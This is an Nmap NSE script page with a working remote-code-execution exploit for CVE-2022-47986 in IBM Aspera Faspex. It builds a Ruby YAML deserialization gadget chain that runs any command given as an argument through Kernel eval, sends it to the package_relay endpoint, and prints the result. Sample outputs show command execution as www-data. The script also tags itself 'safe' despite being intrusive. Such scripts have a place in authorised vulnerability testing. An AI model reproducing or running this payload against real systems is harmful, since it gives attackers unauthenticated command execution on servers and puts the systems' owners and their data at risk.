-
Notifications
You must be signed in to change notification settings - Fork 1
/
ibm-aspera-faspex-rce.nse
185 lines (163 loc) · 5.5 KB
/
ibm-aspera-faspex-rce.nse
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
description = [[
This script exploit IBM Aspera Faspex YAML deserialization vulnerability,
a RCE (Remote Code Execution).
]]
author = "Maurice LAMBERT <[email protected]>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"safe", "exploit", "intrusive", "vuln"}
---
-- @name
-- Aspera Faspex RCE CVE-2022-47986 - Web Server Remote Code Execution
-- @author
-- Maurice LAMBERT <[email protected]>
-- @usage
-- nmap -p 443 --script ibm-aspera-faspex-rce [--script-args ("command=<command>")] <target>
-- @args command Command to exploit the RCE and print output
-- @output
-- ~# nmap -p 443 --script ibm-aspera-faspex-rce 172.17.0.2
-- PORT STATE SERVICE
-- 443/tcp open https
-- | ibm-aspera-faspex-rce:
-- | CVE-2022-47986:
-- | title: Aspera Faspex CVE-2022-47986 RCE
-- | state: VULNERABLE (Exploitable)
-- | ids:
-- | CVE:CVE-2022-47986
-- | description:
-- | This script exploit IBM Aspera Faspex YAML deserialization vulnerability, a RCE (Remote Code Execution).
-- | dates:
-- | disclosure:
-- | day: 02
-- | year: 2022
-- | month: 02
-- | disclosure: 2022-02-02
-- | refs:
-- | https://nvd.nist.gov/vuln/detail/CVE-2022-47986
-- | https://blog.assetnote.io/2023/02/02/pre-auth-rce-aspera-faspex/
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-47986
-- | https://github.com/mauricelambert/CVE-2022-47986
-- | exploit output:
-- |
-- | uid=33(www-data) gid=33(www-data) groups=33(www-data)
-- |_
-- @output
-- ~# nmap -p 443 --script ibm-aspera-faspex-rce --script-args "command=id" 172.17.0.2
-- PORT STATE SERVICE
-- 443/tcp open https
-- | ibm-aspera-faspex-rce:
-- | CVE-2022-47986:
-- | title: Aspera Faspex CVE-2022-47986 RCE
-- | state: VULNERABLE (Exploitable)
-- | ids:
-- | CVE:CVE-2022-47986
-- | description:
-- | This script exploit IBM Aspera Faspex YAML deserialization vulnerability, a RCE (Remote Code Execution).
-- | dates:
-- | disclosure:
-- | year: 2022
-- | month: 02
-- | day: 02
-- | disclosure: 2022-02-02
-- | refs:
-- | https://nvd.nist.gov/vuln/detail/CVE-2022-47986
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-47986
-- | https://blog.assetnote.io/2023/02/02/pre-auth-rce-aspera-faspex/
-- | https://github.com/mauricelambert/CVE-2022-47986
-- | exploit output:
-- |
-- | uid=33(www-data) gid=33(www-data) groups=33(www-data)
-- |_
local shortport = require "shortport"
local stdnse = require "stdnse"
local vulns = require "vulns"
local http = require "http"
local nmap = require "nmap"
local detect_only = false
portrule = shortport.http
local function get_payload()
stdnse.debug2("Set command...")
local command = nmap.registry.args.command or "id"
stdnse.debug2("Building exploit...")
local exploit = [[
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "pew"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:PrettyPrint
output: !ruby/object:Net::WriteAdapter
socket: &1 !ruby/module "Kernel"
method_id: :eval
newline: "throw `]] .. command .. [[`"
buffer: {}
group_stack:
- !ruby/object:PrettyPrint::Group
break: true
method_id: :breakable
]]
stdnse.debug2("Building payload...")
local payload = [[{
"package_file_list": [
"/"
],
"external_emails": "\n]] .. string.gsub(string.gsub(exploit, '"', "\\\""), '\n', '\\n') .. [[",
"package_name": "assetnote_pack",
"package_note": "hello from assetnote team",
"original_sender_name": "assetnote",
"package_uuid": "d7cb6601-6db9-43aa-8e6b-dfb4768647ec",
"metadata_human_readable": "Yes",
"forward": "pew",
"metadata_json": "{}",
"delivery_uuid": "d7cb6601-6db9-43aa-8e6b-dfb4768647ec",
"delivery_sender_name": "assetnote",
"delivery_title": "TEST",
"delivery_note": "TEST",
"delete_after_download": true,
"delete_after_download_condition": "IDK"
}]]
return payload
end
action = function(host, port)
local vuln = {
title = "Aspera Faspex CVE-2022-47986 RCE",
state = vulns.STATE.NOT_VULN,
IDS = { CVE = 'CVE-2022-47986' },
description = "This script exploit IBM Aspera" ..
" Faspex YAML deserialization vulnerability," ..
" a RCE (Remote Code Execution).",
references = {
'https://nvd.nist.gov/vuln/detail/CVE-2022-47986',
'https://blog.assetnote.io/2023/02/02/pre-auth-rce-aspera-faspex/',
'https://github.com/mauricelambert/CVE-2022-47986',
},
dates = {
disclosure = {year = '2022', month = '02', day = '02'},
},
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
stdnse.print_verbose("Web service is up. Send payload...")
stdnse.debug2("Send HTTP request.")
local response = http.post(
host,
port,
'/aspera/faspex/package_relay/relay_package',
{},
nil,
get_payload()
)
stdnse.debug2("Get HTTP response.")
vuln.state = vulns.STATE.EXPLOIT
local output = report:make_output(vuln)
output["CVE-2022-47986"]["exploit output"] = (
"\n " .. "\n" .. response.body .. "\n"
)
return output
end